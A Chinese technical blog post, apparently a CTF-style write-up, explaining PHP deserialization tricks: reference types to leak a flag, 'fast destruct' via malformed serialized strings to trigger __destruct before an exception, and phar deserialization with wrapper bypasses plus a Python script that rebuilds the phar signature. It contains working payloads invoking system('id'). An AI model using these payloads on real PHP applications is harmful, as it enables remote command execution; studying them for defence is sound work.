前言
这些是这段时间遇到的几个反序列化的小技巧。而fast destruct
刚好是最近在某次实战过程中遇到的比较实用的小技巧,于是顺便一起总结下吧。
PHP引用
PHP中存在引用,在反序列化时R 表示指针引用,使用&
表示对某个值的指针引用。在PHP中如果a变量是b变量的引用,则a变量被修改时b变量也会一起被修改。
例如在PHP中写入这样一段代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| class Clazz
{
public $a;
public $b;
public function __wakeup()
{
$this->a = file_get_contents("/flag");
}
public function __destruct()
{
echo $this->b;
}
}
@unserialize($_POST['data']);
|
则可以在序列化时使用引用类型,使得Clazz类中的b成员变量是a成员变量的引用:
1
2
3
| $clazz = new Clazz();
$clazz->b = &$clazz->a;
echo serialize($clazz);
|
可以生成如下所示的序列化字符串,其中变量b的类型被标为R,后面的数字表示所引用的对象在序列化串中第一次出现的位置,例如在这里的Clazz对象是第一个对象,编号为1,而a是第二个对象编号为2。
1
| O:5:"Clazz":2:{s:1:"a";N;s:1:"b";R:2;}
|
这个number
简单的说,就是所引用的对象在序列化串中第一次出现的位置,但是这个位置不是指字符的位置,而是指对象(这里的对象是泛指所有类型的量,而不仅限于对象类型)的位置。
在反序列化之后Clazz类的成员变量b会成为a的引用,对成员变量a执行的修改操作会同步到成员变量b
fast destruct
unserialize()
函数得到的对象的生命周期如下:
- 在PHP中如果单独执行
unserialize()
函数,则反序列化后得到的生命周期仅限于这个函数执行的生命周期,在执行完unserialize()
函数时就会执行__destruct()
方法 - 而如果将
unserialize()
函数执行后得到的字符串赋值给了一个变量,则反序列化的对象的生命周期就会变长,会一直到对象被销毁才执行析构方法
通常发序列化的入口在__destruct()
方法,__wakeup()
方法的内容一般为反序列化的限制,如果在反序列化操作之后抛出了异常则会跳过__destruct()
函数的执行。
例如在PHP中写入这样一段代码:
1
2
3
4
5
6
7
8
9
10
11
12
| class Clazz
{
public $func;
public $args;
public function __destruct()
{
call_user_func($this->func, $this->args);
}
}
$a = @unserialize($_POST['data']);
throw new Exception("Hacker");
|
反序列化操作执行之后并没有立即执行__destruct()
方法中的内容,而是抛出了异常导致__destruct()
方法被跳过。但是我们可以修改序列化得到的字符串使得反序列化解析出错,导致__destruct()
方法被提前执行。
例如正常情况下得到的序列化字符串是如下所示的格式:
1
| O:5:"Clazz":2:{s:4:"func";s:6:"system";s:4:"args";s:2:"id";}
|
对序列化字符串进行修改后:
1
2
3
4
| //末尾加入了一个数字1
O:5:"Clazz":2:{s:4:"func";s:6:"system";s:4:"args";s:2:"id";1}
//去掉了一个大括号
O:5:"Clazz":2:{s:4:"func";s:6:"system";s:4:"args";s:2:"id";
|
unserialize()
函数在扫描到序列化字符串格式有误时会提取触发对象的__destruct()
方法导致命令执行。
phar反序列化
是的,这里又提到phar反序列化,但是不可能再讲一遍吧,关于phar反序列化的基础知识可以看之前这篇文章:反序列化
Phar文件的格式大概如下图所示,来源于php文档:
其中Meta-data中储存了序列化字符串,然后末尾有至少24 bytes的签名
签名的格式大概长这样:
通常默认使用SHA1签名,flags标志位为0x0002
,最后4位为GBMB
使用phar反序列时如果不能以phar开头,还可以使用下面这几种方式进行绕过
1
2
3
4
| compress.bzip://phar://eastjun.phar/text.txt
compress.bzip2://phar://eastjun.phar/text.txt
compress.zlib://phar://eastjun.phar/text.txt
php://filter/resource=phar://eastjun.phar/text.txt
|
然后大概是遇到了这样一串PHP代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| class Clazz
{
public $func;
public $args;
public function __destruct()
{
call_user_func($this->func, $this->args);
}
}
$a = file_get_contents($_POST["data"]);
if (preg_match("/phar/i", $_POST["data"])) {
throw new Exception("Hacker");
}
|
大概是需要使用phar反序列化,但是如果文件名中包含phar则抛出异常,不会执行类中的__destruct()
方法,于是这里可以使用fast destruct
提前触发反序列化。不过使用fast destruct
需要修改Meta-data中储存的序列化字符串,然后重新计算签名,所以再回去看看Phar文件的格式,Meta-data前面有4 bytes的反序列化字符串的长度,末尾有签名,签名算法可选,如果使用SHA1校验,则末尾签名的部分有28 bytes。
首先需要生成一个phar文件
1
2
3
4
5
6
7
8
9
10
| $clazz = new Clazz();
$clazz->func = "system";
$clazz->args = "id";
@unlink("eastjun.phar");
$p = new Phar("eastjun.phar",0);
$p->startBuffering();
$p->setMetadata($clazz);
$p->setStub("GIF89a__HALT_COMPILER();");
$p->addFromString("text.txt","successful!");
$p->stopBuffering();
|
然后用下面的Python脚本可以生成新的可触发fast destruct
的phar文件并计算签名
1
2
3
4
5
6
7
8
9
10
11
12
| import hashlib
f = open("eastjun.phar", "rb")
data = f.read()
f.close()
length = int(data[47:51][::-1].hex(), 16)
data = data[:51 + length - 1] + b"1" + data[51 + length:len(data) - 28]
data += hashlib.sha1(data).digest()
data += b"\x02\x00\x00\x00GBMB"
f = open("eastjun.phar", "wb")
f.write(data)
f.close()
|
于是使用新的phar文件触发反序列化可以提前触发__destruct()
方法造成命令执行。